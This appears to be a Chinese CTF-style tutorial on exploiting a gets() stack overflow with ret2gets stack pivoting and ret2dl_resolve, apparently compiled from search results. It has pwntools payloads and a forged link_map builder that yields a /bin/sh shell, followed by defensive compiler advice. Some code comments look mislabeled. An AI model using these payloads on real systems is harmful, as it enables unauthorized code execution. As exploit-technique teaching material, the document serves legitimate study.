仅有gets栈溢出漏洞的攻击方式
字数 1893
更新时间 2026-03-02 12:03:56
正在搜索资料正在搜索资料# 基于 gets 栈溢出的 ret2dl_resolve 攻击教学文档
1. 漏洞场景与攻击目标
1.1 漏洞代码分析
题目源码仅包含一个 gets 函数,且编译时关闭了 PIE 和栈保护,但未提供控制寄存器的 gadget(如 pop rdi; ret)。
#include<stdio.h>
void stack_overflow() {
char buf[0x40];
gets(buf); // 栈溢出漏洞点
}
int main() {
stack_overflow();
return 0;
}
1.2 攻击难点
- 缺乏 ROP 链:没有
pop rdi; ret等 gadget,无法直接控制rdi寄存器传递参数。 - 单次输入限制:
gets函数仅能输入一次,无法通过多次输入构造复杂 payload。
1.3 攻击目标
利用 ret2dl_resolve 技术,通过伪造 link_map 结构,劫持动态链接过程,将 gets 函数解析为 system 函数,最终执行 system("/bin/sh")。
2. 核心攻击原理
2.1 栈迁移与 ret2gets
在 x64 架构中,gets 函数的参数传递依赖于 rbp 寄存器。通过栈溢出覆盖 rbp,可以控制输入的目标地址,实现 栈迁移 和 二次输入。
- 第一次溢出:覆盖
rbp指向 BSS 段,并设置返回地址为lea rax, [rbp+var_40]; mov rdi, rax; call _gets的指令片段。 - 第二次输入:在 BSS 段伪造
link_map结构,并触发ret2dl_resolve。
2.2 ret2dl_resolve 原理
ret2dl_resolve 攻击通过伪造动态链接器解析符号时所需的数据结构,欺骗链接器解析出错误的函数地址。
- 关键结构:伪造
Elf64_Rela(重定位表项)、Elf64_Sym(符号表项)和字符串表。 - 劫持流程:通过伪造的
reloc_arg偏移,使链接器读取伪造的结构,最终解析出system函数地址。
3. 攻击步骤详解
3.1 第一次溢出:栈迁移与 BSS 段布局
通过第一次溢出,将栈迁移到 BSS 段,为第二次输入伪造数据做准备。
bss = 0x404030 + 0x700 # BSS 段基址
payload1 = b'a' * 0x40 + p64(bss + 0x40) + p64(0x401142) # 覆盖 rbp 和返回地址
p.sendline(payload1)
- 覆盖 rbp:
bss + 0x40,指向 BSS 段。 - 返回地址:
0x401142,指向gets函数的参数设置指令(lea rax, [rbp+var_40])。
3.2 第二次输入:伪造 link_map 与触发解析
在 BSS 段伪造 link_map 结构,并触发 _dl_runtime_resolve。
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got, l_addr)
payload2 = b'a' * 0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload2 = payload2.ljust(0x100, b'\x00') + fake_link_map
p.sendline(payload2)
- fake_Linkmap_payload:伪造
link_map结构,包含重定位表、符号表和字符串表。 - plt_load:指向 PLT 表入口,触发
_dl_runtime_resolve。 - bss_stage:伪造结构的地址,作为
reloc_arg参数。
3.3 参数传递与 Shell 获取
通过 ret2gets 技术控制 rdi 寄存器,传递 /bin/sh 字符串地址。
p.sendline(b'/bin' + p8(u8(b"/") + 1) + b'sh\x00')
- 技巧:通过修改字符串的最后一个字节,绕过
gets函数的输入限制,确保/bin/sh字符串完整。
4. 关键代码解析
4.1 fake_Linkmap_payload 函数
该函数伪造了 link_map 结构,用于欺骗动态链接器。
def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
linkmap = p64(offset & (2 ** 64 - 1)) # l_addr
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18) # DT_STRTAB
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # DT_SYMTAB
linkmap += p64(0x7) # DT_JMPREL
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8) # 指向符号表
linkmap += b'/bin/sh\x00' # 字符串表
linkmap = linkmap.ljust(0x68, b'A')
linkmap += p64(fake_linkmap_addr) # 重定位表
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # DT_STRTAB 指针
return linkmap
4.2 关键参数计算
- l_addr:
libc.sym['system'] - libc.sym['gets'],计算system和gets的偏移差。 - known_func_ptr:
elf.got['gets'],已知函数的 GOT 表地址,用于伪造符号表。
5. 总结与防御建议
5.1 攻击总结
- 利用点:通过
gets函数的栈溢出,结合ret2gets和ret2dl_resolve,在缺乏 gadget 的情况下实现任意代码执行。 - 技术组合:栈迁移 + 伪造数据结构 + 动态链接劫持。
5.2 防御建议
- 编译选项:开启 PIE、栈保护(Canary)和 RELRO(Full)。
- 代码审计:避免使用不安全的函数(如
gets),使用fgets替代。 - 运行时保护:启用 ASLR,增加攻击难度。
通过以上步骤,即使在没有 gadget 的情况下,也能利用 gets 栈溢出漏洞实现完整的攻击链。[citation:1][citation:2][citation:3]